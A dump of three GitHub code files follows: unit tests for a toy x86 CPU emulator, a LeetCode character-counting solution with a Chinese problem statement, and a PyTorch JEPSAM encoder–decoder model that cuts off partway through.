cpu._get_operand_value(test.operand))\n\n    def test_set_operand_value(self):\n        state = State(registers={'bx': 0x1234})\n\n        class Test:\n            def __init__(self, operand, value, res_operand=None, res=None):\n                self.operand = operand\n                self.value = value\n                if res_operand is None:\n                    res_operand = operand\n                self.res_operand = res_operand\n                if res is None:\n                    res = value\n                self.res = res\n\n        for test in (\n                Test(RegisterOp(Register.AX), 0x22),\n                Test(MemoryOp(Register.AX), 0x1234),\n                Test(MemoryOp(Register.AX, offset=1), 0x0012),\n                Test(MemoryOp(Register.AX, offset=-1), 0x3400),\n                Test(RegisterOp(Register.BL), 0x56,\n                     RegisterOp(Register.BX), 0x1256),\n                Test(RegisterOp(Register.BH), 0x56,\n                     RegisterOp(Register.BX), 0x5634),\n                ):\n            with self.subTest(test=test):\n                cpu = CPU([], state=state)\n                cpu._set_operand_value(test.operand, test.value)\n                self.assertEqual(test.res,\n                                 cpu._get_operand_value(test.res_operand))\n\n    def test_read_memory(self):\n        pass\n\n    def test_write_memory(self):\n        pass\n\n    def test_memory_operand(self):\n        pass\n\n    def test_op_mov(self):\n        cpu = CPU([])\n\n        cpu.op_mov(RegisterOp(Register.AX), ImmediateOp(STACK))\n        self.assertEqual(STACK, cpu.registers['ax'])\n\n        cpu.op_mov(RegisterOp(Register.BX), RegisterOp(Register.AX))\n        self.assertEqual(STACK, cpu.registers['bx'])\n\n        cpu.op_mov(MemoryOp(Register.AX), RegisterOp(Register.AX))\n        self.assertEqual(STACK, cpu._read_memory(STACK))\n\n        with self.assertRaises(Exception):\n            cpu.op_mov(MemoryOp(Register.AX), MemoryOp(Register.BX))\n\n        with self.assertRaises(Exception):\n            cpu.op_mov(ImmediateOp(0x1), RegisterOp(Register.AX))\n\n        with self.assertRaises(Exception):\n            state = State(registers={'ax': 0x1234, 'bx': 0x22})\n            cpu = CPU([], state=state)\n            cpu.op_mov(MemoryOp(Register.AX), RegisterOp(Register.BX))\n\n    def test_op_mul(self):\n        state = State(registers={'ax': 0x10, 'bx': 0x3, 'cx': 0x4},\n                      memory=Memory({0x4: 0xef, 0x5: 0xbe}))\n\n        class Test:\n            def __init__(self, multiplier, ax, dx, cf, of):\n                self.multiplier = multiplier\n                self.ax = ax\n                self.dx = dx\n                self.cf = cf\n                self.of = of\n\n            def __repr__(self):\n                return str(self.__dict__)\n\n        for test in (\n                Test(RegisterOp(Register.BX), 0x30, 0, 0, 0),\n                Test(MemoryOp(Register.CX), 0xeef0, 0xb, 1, 1),\n                ):\n\n            with self.subTest(test=test):\n                cpu = CPU([], state=state.copy())\n                cpu.op_mul(test.multiplier)\n                self.assertEqual(test.ax, cpu.registers['ax'])\n                self.assertEqual(test.dx, cpu.registers['dx'])\n                if test.cf:\n                    self.assertIn(Flag.CF, cpu.flags)\n                    self.assertIn(Flag.OF, cpu.flags)\n                else:\n                    self.assertNotIn(Flag.CF, cpu.flags)\n                    self.assertNotIn(Flag.OF, cpu.flags)\n\n        with self.assertRaises(Exception):\n            cpu = CPU([])\n            cpu.op_mul((0x1, 'i'))  # invalid optype\n\n    def test_op_imul(self):\n        #                             -27,535       -32,000        32,000\n        state = State(registers={'ax': 0x9471, 'bx': 0x8300, 'cx': 0x7d00})\n\n        class Test:\n            def __init__(self, multiplier, ax, dx):\n                self.multiplier = multiplier\n                self.ax = ax\n                self.dx = dx\n\n            def __repr__(self):\n                return str(self.__dict__)\n\n        for test in (\n                Test(RegisterOp(Register.BX), 0xd300, 0x3484),\n                Test(RegisterOp(Register.CX), 0x2d00, 0xcb7b),\n                ):\n\n            with self.subTest(test=test):\n                cpu = CPU([], state=state.copy())\n                cpu.op_imul(test.multiplier)\n                self.assertEqual(test.ax, cpu.registers['ax'])\n                self.assertEqual(test.dx, cpu.registers['dx'])\n\n        with self.assertRaises(Exception):\n            cpu = CPU([])\n            cpu.op_imul((0x1, 'i'))  # invalid optype\n\n    def test_op_div(self):\n        state = State(registers={'ax': 0x10, 'bx': 0x3, 'cx': 0x4, 'dx': 0x3},\n                      memory=Memory({0x4: 0xef, 0x5: 0xbe}))\n\n        class Test:\n            def __init__(self, divisor, ax, dx, cf, of):\n                self.divisor = divisor\n                self.ax = ax\n                self.dx = dx\n                self.cf = cf\n                self.of = of\n\n            def __repr__(self):\n                return str(self.__dict__)\n\n        for test in (\n                Test(RegisterOp(Register.BX), 0x5, 1, 0, 0),\n                Test(MemoryOp(Register.CX), 0x4, 0x454, 0, 0),\n                ):\n\n            with self.subTest(test=test):\n                cpu = CPU([], state=state.copy())\n                cpu.op_div(test.divisor)\n                self.assertEqual(test.ax, cpu.registers['ax'])\n                self.assertEqual(test.dx, cpu.registers['dx'])\n                if test.cf:\n                    self.assertIn(Flag.CF, cpu.flags)\n                else:\n                    self.assertNotIn(Flag.CF, cpu.flags)\n\n                if test.of:\n                    self.assertIn(Flag.OF, cpu.flags)\n                else:\n                    self.assertNotIn(Flag.OF, cpu.flags)\n\n        with self.assertRaises(Exception):\n            cpu = CPU([])\n            cpu.op_div((0x1, 'i'))  # invalid optype\n\n    def test_op_idiv(self):\n        class Test:\n            def __init__(self, divisor, registers, ax, dx):\n                self.divisor = divisor\n                self.registers = registers\n                self.ax = ax\n                self.dx = dx\n\n            def __repr__(self):\n                return str(self.__dict__)\n\n        for test in (\n                Test(RegisterOp(Register.BX),\n                     {'ax': 0xfff3, 'dx': 0xffff, 'bx': 0x3},  # -13 / 3\n                     0xfffc, 0xffff),                          # -4, -1\n                Test(RegisterOp(Register.BX),\n                     {'ax': 0xfff1, 'dx': 0xffff, 'bx': 0x4},  # -15 / 4\n                     0xfffd, 0xfffd),                          # -3, -3\n                Test(RegisterOp(Register.BX),\n                     {'ax': 0xfff1, 'dx': 0xffff, 'bx': 0x3},  # -15 / 3\n                     0xfffb, 0),                               # -5, 0\n                Test(RegisterOp(Register.BX),\n                     {'ax': 0xf, 'dx': 0x0, 'bx': 0x3},        # 15 / 3\n                     0x5, 0),                                  # 5, 0\n                Test(RegisterOp(Register.BX),\n                     {'ax': 0xf, 'dx': 0x0, 'bx': 0xfffd},     # 15 / -3\n                     0xfffb, 0),                               # 5, 0\n                Test(RegisterOp(Register.BX),\n                     {'ax': 0xf, 'dx': 0x0, 'bx': 0xfffc},     # 15 / -4\n                     0xfffd, 0x3)                              # -3, 3\n                ):\n\n            with self.subTest(test=test):\n                cpu = CPU([], state=State(registers=test.registers))\n                cpu.op_idiv(test.divisor)\n                self.assertEqual(test.ax, cpu.registers['ax'])\n                self.assertEqual(test.dx, cpu.registers['dx'])\n\n        with self.assertRaises(Exception):\n            cpu = CPU([])\n            cpu.op_idiv((0x1, 'i'))  # invalid optype\n\n    def test_op_add(self):\n        state = State(registers={'ax': 0x2, 'bx': 0x3, 'cx': 0x4},\n                      memory=Memory({0x4: 0x34, 0x5: 0x12}))\n\n        class Test:\n            def __init__(self, dest, src, res):\n                self.dest = dest\n                self.src = src\n                self.res = res\n\n            def __repr__(self):\n                return str(self.__dict__)\n\n        for test in (\n                Test(RegisterOp(Register.BX), ImmediateOp(0x2), 0x5),\n                Test(RegisterOp(Register.AX), RegisterOp(Register.AX), 0x4),\n                Test(RegisterOp(Register.BX), MemoryOp(Register.CX), 0x1237),\n                ):\n\n            with self.subTest(test=test):\n                cpu = CPU([], state=state.copy())\n                cpu.op_add(test.dest, test.src)\n                self.assertEqual(test.res, cpu.registers[test.dest.value.value])\n\n    def test_op_sub(self):\n        state = State(registers={'ax': 0x2, 'bx': 0x2468, 'cx': 0x4},\n                      memory=Memory({0x4: 0x34, 0x5: 0x12}))\n\n        class Test:\n            def __init__(self, dest, src, res):\n                self.dest = dest\n                self.src = src\n                self.res = res\n\n            def __repr__(self):\n                return str(self.__dict__)\n\n        for test in (\n                Test(RegisterOp(Register.BX), ImmediateOp(0x2), 0x2466),\n                Test(RegisterOp(Register.AX), RegisterOp(Register.AX), 0x0),\n                Test(RegisterOp(Register.BX), RegisterOp(Register.AX), 0x2466),\n                Test(RegisterOp(Register.BX), MemoryOp(Register.CX), 0x1234),\n                ):\n\n            with self.subTest(test=test):\n                cpu = CPU([], state=state.copy())\n                cpu.op_sub(test.dest, test.src)\n                self.assertEqual(test.res,\n                                 cpu.registers[test.dest.value.value])\n\n    def test_flags(self):\n        class Test:\n            def __init__(self, arg1, arg2, res, flags):\n                self.arg1 = arg1\n                self.arg2 = arg2\n                self.res = res\n                self.flags = flags\n\n            def __repr__(self):\n                res = {}\n                for i in self.__dict__:\n                    val = self.__dict__[i]\n                    if isinstance(val, int) and not isinstance(val, bool):\n                        res[i] = hex(val)\n                    else:\n                        res[i] = val\n                return str(res)\n\n        for test in (\n                #    arg1     arg2     result   flags\n                Test(0x7f00,  0,       0x7f00,  Flag(0)),\n                Test(0xffff,  0x7f,    0x7e,    Flag.CF),\n                Test(0,       0,       0,       Flag.ZF),\n                Test(0xffff,  0x1,     0,       Flag.ZF | Flag.CF),\n                Test(0xffff,  0,       0xffff,  Flag.SF),\n                Test(0xffff,  0xffff,  0xfffe,  Flag.SF | Flag.CF),\n                Test(0xffff,  0x8000,  0x7fff,  Flag.OF | Flag.CF),\n                Test(0x8000,  0x8000,  0,       Flag.OF | Flag.ZF | Flag.CF),\n                Test(0x7fff,  0x7fff,  0xfffe,  Flag.OF | Flag.SF),\n                ):\n            with self.subTest(test=test):\n                cpu = CPU([], state=State({'ax': test.arg1}))\n                cpu.op_add(RegisterOp(Register.AX), ImmediateOp(test.arg2))\n                self.assertEqual(test.res, cpu.registers[Register.AX.value])\n                self.assertEqual(test.flags, cpu.flags)\n\n        for test in (\n                #    arg1     arg2     result   flags\n                Test(0xffff,  0xfffe,  1,       Flag(0)),\n                Test(0x7ffe,  0xffff,  0x7fff,  Flag.CF),\n                Test(0xffff,  0xffff,  0,       Flag.ZF),\n                Test(0xffff,  0x7fff,  0x8000,  Flag.SF),\n                Test(0xfffe,  0xffff,  0xffff,  Flag.SF | Flag.CF),\n                Test(0xfffe,  0x7fff,  0x7fff,  Flag.OF),\n                Test(0x7fff,  0xffff,  0x8000,  Flag.OF | Flag.SF | Flag.CF),\n                ):\n            with self.subTest(test=test):\n                cpu = CPU([], state=State({'ax': test.arg1}))\n                cpu.op_sub(RegisterOp(Register.AX), ImmediateOp(test.arg2))\n                self.assertEqual(test.res, cpu.registers[Register.AX.value])\n                self.assertEqual(test.flags, cpu.flags)\n\n    def test_op_cmp(self):\n        state = State(registers={'ax': 0x2, 'bx': 0x1234, 'cx': 0x4},\n                      memory=Memory({0x4: 0x34, 0x5: 0x12}))\n\n        class Test:\n            def __init__(self, dest, src, res):\n                self.dest = dest\n                self.src = src\n                self.res = res\n\n            def __repr__(self):\n                return str(self.__dict__)\n\n        for test in (\n                Test(RegisterOp(Register.AX), ImmediateOp(0x2), 1),\n                Test(RegisterOp(Register.BX), ImmediateOp(0x2), 0),\n                Test(RegisterOp(Register.AX), RegisterOp(Register.BX), 0),\n                Test(RegisterOp(Register.AX), RegisterOp(Register.AX), 1),\n                Test(RegisterOp(Register.AX), MemoryOp(Register.CX), 0),\n                Test(RegisterOp(Register.BX), MemoryOp(Register.CX), 1),\n                ):\n\n            with self.subTest(test=test):\n                cpu = CPU([], state=state.copy())\n                cpu.op_cmp(test.dest, test.src)\n                if test.res:\n                    self.assertIn(Flag.ZF, cpu.flags)\n                else:\n                    self.assertNotIn(Flag.ZF, cpu.flags)\n\n        with self.assertRaises(Exception):\n            cpu = CPU([], state=state.copy())\n            cpu.op_cmp('bx', 'm'), ('ax', 'm')\n\n        with self.assertRaises(Exception):\n            cpu = CPU([], state=state.copy())\n            cpu.op_cmp(1, 'i'), ('ax', 'm')\n\n    def test_op_jmp(self):\n        state = State(registers={'ax': 0x2, 'bx': 0x5517, 'cx': 0x4},\n                      memory=Memory({0x4: 0x10, 0x5: 0x55}))\n\n        class Test:\n            def __init__(self, dest, ip):\n                self.dest = dest\n                self.ip = ip\n\n            def __repr__(self):\n                return str(self.__dict__)\n\n        for test in (\n                Test(RegisterOp(Register.BX), 0x5517),\n                Test(MemoryOp(Register.CX), 0x5510)\n                ):\n\n            with self.subTest(test=test):\n                cpu = CPU([], state=state.copy())\n                cpu.op_jmp(test.dest)\n                self.assertEqual(test.ip, cpu.ip)\n\n    def test_op_jne(self):\n        state = State(registers={'ax': 0x2, 'bx': 0x5517, 'cx': 0x4},\n                      memory=Memory({0x4: 0x10, 0x5: 0x55}))\n\n        class Test:\n            def __init__(self, dest, zf, ip):\n                self.dest = dest\n                self.zf = zf\n                self.ip = ip\n\n            def __repr__(self):\n                return str(self.__dict__)\n\n        for test in (\n                Test(RegisterOp(Register.BX), False, 0x5517),\n                Test(RegisterOp(Register.BX), True, 0),\n                Test(MemoryOp(Register.CX), False, 0x5510),\n                Test(MemoryOp(Register.CX), True, 0)\n                ):\n\n            with self.subTest(test=test):\n                cpu = CPU([], state=state.copy())\n                if test.zf:\n                    cpu.flags |= Flag.ZF\n                cpu.op_jne(test.dest)\n                self.assertEqual(test.ip, cpu.ip)\n\n    def test_op_je(self):\n        state = State(registers={'ax': 0x2, 'bx': 0x5517, 'cx': 0x4},\n                      memory=Memory({0x4: 0x10, 0x5: 0x55}))\n\n        class Test:\n            def __init__(self, dest, zf, ip):\n                self.dest = dest\n                self.zf = zf\n                self.ip = ip\n\n            def __repr__(self):\n                return str(self.__dict__)\n\n        for test in (\n                Test(RegisterOp(Register.BX), True, 0x5517),\n                Test(RegisterOp(Register.BX), False, 0),\n                Test(MemoryOp(Register.CX), True, 0x5510),\n                Test(MemoryOp(Register.CX), False, 0)\n                ):\n\n            with self.subTest(test=test):\n                cpu = CPU([], state=state.copy())\n                if test.zf:\n                    cpu.flags |= Flag.ZF\n                cpu.op_je(test.dest)\n                self.assertEqual(test.ip, cpu.ip)\n\n    def test_op_push(self):\n        state = State(registers={\n            'ax': 0x2, 'bx': 0x5517, 'cx': 0x4, 'sp': STACK},\n                      memory=Memory({0x4: 0x10, 0x5: 0x55}))\n\n        class Test:\n            def __init__(self, src, res):\n                self.src = src\n                self.res = res\n\n            def __repr__(self):\n                return f'push {self.src} expect {self.res}'\n\n        for test in (\n                Test(RegisterOp(Register.AX), 0x2),\n                Test(MemoryOp(Register.CX), 0x5510),\n                Test(ImmediateOp(0x1234), 0x1234),\n                ):\n\n            with self.subTest(test=test):\n                cpu = CPU([], state=state.copy())\n                sp = cpu.sp\n                cpu.op_push(test.src)\n                self.assertEqual(sp - 2, cpu.sp)\n                self.assertEqual(test.res, cpu._read_memory(cpu.sp))\n\n    def test_op_pop(self):\n        pass\n\n    def test_op_call(self):\n        pass\n\n    def test_op_ret(self):\n        pass\n\n    def test_op_shl(self):\n        state = State(registers={'ax': 0x1234})\n        cpu = CPU([], state=state)\n        cpu.op_shl(RegisterOp(Register.AX), ImmediateOp(0x3))\n        self.assertEqual(0x91a0, cpu.registers['ax'])\n\n    def test_op_shr(self):\n        state = State(registers={'ax': 0x1234, 'cx': 0x2})\n        cpu = CPU([], state=state)\n        cpu.op_shr(RegisterOp(Register.AX), ImmediateOp(0x3))\n        self.assertEqual(0x246, cpu.registers['ax'])\n        cpu.op_shr(RegisterOp(Register.AX), RegisterOp(Register.CL))\n        self.assertEqual(0x91, cpu.registers['ax'])\n\n        with self.assertRaises(Exception):\n            cpu.op_shr(RegisterOp(Register.AX), RegisterOp(Register.BX))\n\n    def test_op_xor(self):\n        state = State(registers={'ax': 0xffff})\n        cpu = CPU([], state=state)\n        cpu.op_xor(RegisterOp(Register.AX), ImmediateOp(0xfff0))\n        self.assertEqual(0xf, cpu.registers['ax'])\n\n    def test_op_not(self):\n        state = State(registers={'ax': 0xff00})\n        cpu = CPU([], state=state)\n        cpu.op_not(RegisterOp(Register.AX))\n        self.assertEqual(0xff, cpu.registers['ax'])\n\n    def test_op_or(self):\n        state = State(registers={'ax': 0xff00})\n        cpu = CPU([], state=state)\n        cpu.op_or(RegisterOp(Register.AX), ImmediateOp(0xff))\n        self.assertEqual(0xffff, cpu.registers['ax'])\n\n    def test_op_and(self):\n        state = State(registers={'ax': 0xff00})\n        cpu = CPU([], state=state)\n        cpu.op_and(RegisterOp(Register.AX), ImmediateOp(0xff))\n        self.assertEqual(0x0, cpu.registers['ax'])\n\n\nclass OperandTest(unittest.TestCase):\n    def test_registerop(self):\n        pass\n\n    def test_memoryop(self):\n        pass\n\n    def test_immediateop(self):\n        r = RegisterOp(Register.AX)\n        self.assertIsInstance(r, RegisterOp)\n        self.assertEqual(r.optype, OpType.REGISTER)\n        self.assertEqual(r.value, Register.AX)\n\n        with self.assertRaises(Exception):\n            r = RegisterOp(None)\n\n    def test_from_optype(self):\n        o = Operand.from_optype(OpType.REGISTER, Register.AX)\n        self.assertIsInstance(o, RegisterOp)\n        self.assertEqual(o.optype, OpType.REGISTER)\n        self.assertEqual(o.value, Register.AX)\n\n        o = Operand.from_optype(OpType.MEMORY, Register.AX)\n        self.assertIsInstance(o, MemoryOp)\n        self.assertEqual(o.optype, OpType.MEMORY)\n        self.assertEqual(o.value, Register.AX)\n\n        o = Operand.from_optype(OpType.IMMEDIATE, 0x1)\n        self.assertIsInstance(o, ImmediateOp)\n        self.assertEqual(o.optype, OpType.IMMEDIATE)\n        self.assertEqual(o.value, 0x1)\n","repo_name":"hopkiw/x86cpu","sub_path":"tests/cpu_test.py","file_name":"cpu_test.py","file_ext":"py","file_size_in_byte":23316,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24010181424","text":"# -*- coding: utf-8 -*-\n# @Time    : 2020/3/18 0018 17:35\n# @Author  : songzhenxi\n# @Email   : songzx_2326@163.com\n# @File    : leetcode1160.py\n# @Software: PyCharm\n\n# 给你一份‘词汇表’（字符串数组） words 和一张‘字母表’（字符串） chars。\n#\n#  假如你可以用 chars 中的‘字母’（字符）拼写出 words 中的某个‘单词’（字符串），那么我们就认为你掌握了这个单词。\n#\n#  注意：每次拼写时，chars 中的每个字母都只能用一次。\n#\n#  返回词汇表 words 中你掌握的所有单词的 长度之和。\n#\n#\n#\n#  示例 1：\n#\n#  输入：words = [\"cat\",\"bt\",\"hat\",\"tree\"], chars = \"atach\"\n# 输出：6\n# 解释：\n# 可以形成字符串 \"cat\" 和 \"hat\"，所以答案是 3 + 3 = 6。\n#\n#\n#  示例 2：\n#\n#  输入：words = [\"hello\",\"world\",\"leetcode\"], chars = \"welldonehoneyr\"\n# 输出：10\n# 解释：\n# 可以形成字符串 \"hello\" 和 \"world\"，所以答案是 5 + 5 = 10。\n#\n#\n#\n#\n#  提示：\n#\n#\n#  1 <= words.length <= 1000\n#  1 <= words[i].length, chars.length <= 100\n#  所有字符串中都仅包含小写英文字母\n#\n#  Related Topics 数组 哈希表\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\nclass Solution(object):\n    def countCharacters(self, words, chars):\n        \"\"\"\n        :type words: List[str]\n        :type chars: str\n        :rtype: int\n        \"\"\"\n        ans = 0\n        for wd in words:\n            add = True\n            for w in wd:\n                if wd.count(w) > chars.count(w):\n                    add = False\n                    break\n            ans = ans if not add else ans + len(wd)\n        return ans\n# leetcode submit region end(Prohibit modification and deletion)\n","repo_name":"songzxDev/leetcode-python","sub_path":"week02/leetcode1160.py","file_name":"leetcode1160.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74967961607","text":"from addict import Dict\n\nimport copy\n\nfrom einops import rearrange\n\nimport numpy as np\n\nimport pandas as pd\n\nimport os.path as osp\n\nimport torch\nfrom torch.nn.functional import one_hot\nimport torch.nn as nn\nfrom torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence\n\nfrom torchinfo import summary\nimport torchvision.models as torchvision_models\n\nfrom typing import List, Tuple, Union\n\nimport sys\n\nimport models\nfrom utils.parser import load_config, parse_args\nimport utils.model_utils as model_utils\nfrom utils.ae_resnet import get_configs, ResNetEncoder, ResNetDecoder\n\nfrom dataloader import get_dataloaders, SimpleTokenizer, JEPSAMDataset\nimport vocabulary as vocab\n\n\nclass JEPSAMEncoder(nn.Module):\n    def __init__(\n        self,\n        cfg: Dict,\n        cnn_backbone_name: str = \"resnet50\"\n    ):\n        super().__init__()\n\n        self.cfg = cfg\n\n        self.device = self.cfg.TRAIN.GPU_DEVICE if torch.cuda.is_available() else \"cpu\"\n\n        # embedding layer\n        self.embedding = nn.Embedding(\n            cfg.DATASET.VOCABULARY_SIZE, cfg.AEJEPS.EMBEDDING_DIM)\n\n        # CNN ftr extractor\n        configs, bottleneck = get_configs(cnn_backbone_name)\n\n        self.image_feature_extractor = nn.Sequential(\n            ResNetEncoder(configs, bottleneck),\n            nn.Flatten(),\n            nn.Linear(in_features=2048*7*7, out_features=cfg.AEJEPS.CNN_FC_DIM)\n        )\n\n        # features mixer\n        self.feature_mixing = nn.LSTM(\n            input_size=cfg.AEJEPS.EMBEDDING_DIM,\n            hidden_size=cfg.AEJEPS.HIDDEN_DIM,\n            num_layers=cfg.AEJEPS.NUM_LAYERS_ENCODER,\n            dropout=cfg.AEJEPS.ENCODER_DROPOUT,\n            bidirectional=cfg.AEJEPS.IS_BIDIRECTIONAL\n        )\n\n        self.to(self.device)\n\n    def forward(self, inp: Union[List, list, dict], mode: str = 'train'):\n        \"\"\"\n\n        \"\"\"\n        if isinstance(inp, list) or isinstance(inp, List):\n            in_state, goal_state, ad, cmd, ad_lens, cmd_lens = inp\n        else:\n            _, in_state, goal_state, ad, cmd = inp['sample_id'], inp[\n                'in_state'], inp['goal_state'], inp['action_desc'], inp[\"motor_cmd\"]\n            ad = ad[\"ids\"]\n            # print(ad[\"length\"])\n            ad_lens = ad[\"length\"]\n\n            cmd = cmd[\"ids\"]\n            cmd_lens = cmd[\"length\"]\n\n        in_state, goal_state, ad, cmd, ad_lens, cmd_lens = in_state.to(self.device), goal_state.to(\n            self.device), ad.to(self.device), cmd.to(self.device), ad_lens.to(self.device), cmd_lens.to(self.device)\n        # print(in_state.device)\n        B, _, max_len = ad.shape\n\n        # 1. Image feature extraction\n        feats_per = self.image_feature_extractor(in_state)\n        # feats_per = self.img_projection(feats_per.view(B, -1))\n        # print(feats_per.shape)\n        feats_per = feats_per.repeat((1, max_len)).reshape((B, max_len, -1))\n\n        # 2. Text feature extraction\n        action_desc_emb = self.embedding(ad)  # .squeeze(1)\n\n        if mode == \"train\":\n            # 1. Image feature extraction\n            feats_goal = self.image_feature_extractor(goal_state)\n            # feats_goal = self.img_projection(feats_goal.view(B, -1))\n            # print(feats_goal.shape)\n\n            feats_goal = feats_goal.repeat(\n                (1, max_len)).reshape((B, max_len, -1))\n\n            # 2. Text feature extraction\n            motor_cmd_emb = self.embedding(cmd)  # .squeeze(1)\n            # For each batch entry determine the length of the longest of the text sequence\n            lengths_max = [max(ltext, lcmd)\n                           for ltext, lcmd in zip(ad_lens, cmd_lens)]\n            # print(lengths_max)\n        else:\n            # test mode\n            # Get sequence lenghts from action desc\n            lengths_max = [ltext for ltext in ad_lens]\n\n            # replace goal image and motor cmd with zero vectors\n            feats_goal = torch.zeros_like(feats_per)\n\n            motor_cmd_emb = torch.zeros_like(action_desc_emb)\n\n        # print(f\"feats_per: {feats_per.shape}\")\n        # print(f\"feats_goal: {feats_goal.shape}\")\n\n        # 3. Feature Fusion\n        # Optional: add a projection layer that will\n        # print(feats_per.shape, feats_goal.shape, action_desc_emb.shape, motor_cmd_emb.shape)\n\n        # print(\n        #     feats_per.shape,\n        #     feats_goal.shape,\n        #     action_desc_emb.squeeze(1).shape,\n        #     motor_cmd_emb.squeeze(1).shape\n        #      )\n        concat_feats = torch.cat((\n            feats_per,\n            feats_goal,\n            action_desc_emb.squeeze(1),\n            motor_cmd_emb.squeeze(1)\n        ), dim=-2)  # .squeeze(1)\n\n        # print(f\"Fused feats: {concat_feats.shape}\")\n\n        # 4. Feature mixing\n        # packed_input = concat_feats\n        packed_input = pack_padded_sequence(\n            input=concat_feats,\n            lengths=lengths_max,\n            enforce_sorted=False,\n            batch_first=True\n        )\n\n        output, (hidden, carousel) = self.feature_mixing(packed_input)\n        # print(output.shape)\n        output, len_output = pad_packed_sequence(output, batch_first=True)\n\n        return output, len_output, hidden, carousel\n\n\nclass JEPSAMDecoder(nn.Module):\n    def __init__(\n        self,\n        cfg: Dict,\n        cnn_backbone_name: str = \"resnet50\",\n\n    ):\n        super().__init__()\n\n        # class attributes\n        self.cfg = cfg\n        self.cnn_backbone_name = cnn_backbone_name\n        self.num_directions = 2 if cfg.AEJEPS.IS_BIDIRECTIONAL else 1\n        decoder_hidden_dim = self.num_directions * cfg.AEJEPS.HIDDEN_DIM\n\n        # Layers\n        # tokenizer\n        # self.tokenizer  = PreTrainedTokenizerFast(\n        #     tokenizer_file= self.cfg.DATASET.TOKENIZER_PATH, # You can load from the tokenizer file, alternatively\n        #     unk_token=\"[UNK]\",\n        #     pad_token=\"[PAD]\",\n        #     cls_token=\"[CLS]\",\n        #     sep_token=\"[SEP]\",\n        #     mask_token=\"[MASK]\",\n        # )\n\n        self.tokenizer = SimpleTokenizer(vocab)\n\n        # embedding layer - same as encoder embedding layer\n        self.embedding = nn.Embedding(\n            cfg.DATASET.VOCABULARY_SIZE,\n            cfg.AEJEPS.EMBEDDING_DIM,\n            device=self.cfg.TRAIN.GPU_DEVICE\n        )\n\n        # image decoder\n        configs, bottleneck = get_configs(cnn_backbone_name)\n        self.img_projection = nn.Sequential(\n            nn.Linear(in_features=decoder_hidden_dim,\n                      out_features=cfg.AEJEPS.CNN_FC_DIM),\n            getattr(nn, cfg.AEJEPS.DECODER_ACTIVATION)(),\n            nn.Linear(in_features=cfg.AEJEPS.CNN_FC_DIM,\n                      out_features=2048*7*7),\n        ).to(self.cfg.TRAIN.GPU_DEVICE)\n\n        self.img_decoder = ResNetDecoder(\n            configs[::-1], bottleneck).to(self.cfg.TRAIN.GPU_DEVICE)\n\n        # motor command decoding layer\n        self.motor_decoder = nn.LSTMCell(\n            input_size=cfg.AEJEPS.EMBEDDING_DIM,\n            hidden_size=decoder_hidden_dim\n        ).to(self.cfg.TRAIN.GPU_DEVICE)\n\n        self.activation_motor = getattr(nn, cfg.AEJEPS.ACTIVATION_MOTOR)()\n\n        # action desc. decoding layer\n        self.lang_decoder = nn.LSTMCell(\n            input_size=cfg.AEJEPS.EMBEDDING_DIM,\n            hidden_size=decoder_hidden_dim\n        ).to(self.cfg.TRAIN.GPU_DEVICE)\n\n        self.activation_lang = getattr(nn, cfg.AEJEPS.ACTIVATION_LANG)()\n\n        # projection layers\n        # self.hidden_to_conv_in = nn.Linear(\n        #     in_features=decoder_hidden_dim,\n        #     out_features=self.cfg.AEJEPS.HIDDEN_TO_CONV\n        # )\n\n        self.lang_head = nn.Linear(\n            in_features=decoder_hidden_dim,\n            out_features=cfg.DATASET.VOCABULARY_SIZE\n            # To be discussed use the individual vocabs or the merged one for the projection\n        ).to(self.cfg.TRAIN.GPU_DEVICE)\n\n        self.motor_cmd_head = nn.Linear(\n            in_features=decoder_hidden_dim,\n            out_features=cfg.DATASET.VOCABULARY_SIZE\n            # To be discussed use the individual vocabs or the merged one for the projection\n        ).to(self.cfg.TRAIN.GPU_DEVICE)\n\n        self.device = self.cfg.TRAIN.GPU_DEVICE if torch.cuda.is_available() else \"cpu\"\n\n    def forward(\n        self,\n        enc_output,\n        len_enc_output,\n        hidden,\n        carousel,\n        mode: str = \"train\"\n    ):\n\n        batch_size, max_len, num_ftrs = enc_output.shape\n        if mode !=\"train\":\n            max_len = 11 # at test time we will specify this as the max len \n\n        # hidden\n        # hidden = hidden.view(self.num_directions, self.num_layers, batch_size, -1)\n        # hidden = hidden[:self.num_directions, self.num_layers - 1, :, :]  # Take the last forward direction hidden state for\n\n        hidden, carousel = self._rearrange_states(hidden, carousel)\n\n        cmd_h_t, lang_h_t = (hidden, carousel), (hidden, carousel)\n\n        # Unsqueeze to match expected input by transposed convolutions\n        self.hidden = hidden.unsqueeze(0)\n\n        # run decoding steps\n        # generate action desc from latent representation\n        lang_out = self._decode_action_description(\n            hidden=lang_h_t, batch_size=batch_size, max_len=max_len)\n        # generate motor cmd from latent representation\n        motor_out = self._decode_motor_command(\n            hidden=cmd_h_t, batch_size=batch_size, max_len=max_len)\n        # reconstruct from latent representation\n        per_image_rec = self._reconstruct_image(hidden)\n        # generate from latent representation\n        goal_image = self._generate_goal_image(hidden)\n\n        return per_image_rec, goal_image, lang_out, motor_out\n\n    def _rearrange_states(self, hidden, carousel):\n        \"\"\"\n\n        \"\"\"\n        # hidden\n        hidden = rearrange(\n            hidden,\n            '(d l) b h -> l b (d h)',\n            d=self.num_directions,\n            l=self.cfg.AEJEPS.NUM_LAYERS_ENCODER\n        )\n        hidden = hidden[self.cfg.AEJEPS.NUM_LAYERS_ENCODER - 1, :, :]\n\n        # carousel\n        carousel = rearrange(\n            carousel,\n            '(d l) b h -> l b (d h)',\n            d=self.num_directions,\n            l=self.cfg.AEJEPS.NUM_LAYERS_ENCODER\n        )\n        carousel = carousel[self.cfg.AEJEPS.NUM_LAYERS_ENCODER - 1, :, :]\n\n        return hidden, carousel\n\n    def _decode_action_description(\n        self,\n        hidden,\n        batch_size: int,\n        max_len: int\n    ):\n        \"\"\"\n        \"\"\"\n        # print(next(self.lang_decoder.parameters()).is_cuda)\n\n        lang_out = []\n        # Initialize the predictions with [SOS]\n        prediction_txt_t = torch.ones(batch_size, 1).to(\n            self.device).long() * self.cfg.DATASET.SOS\n        # print(prediction_txt_t.device)\n        for t in range(max_len):\n            char = self.embedding(prediction_txt_t).squeeze(1)\n            # hidden state at time step t for each RNN\n            hidden, lang_c_t = self.lang_decoder(char, hidden)\n            # project hidden state to vocab\n            lang_scores = 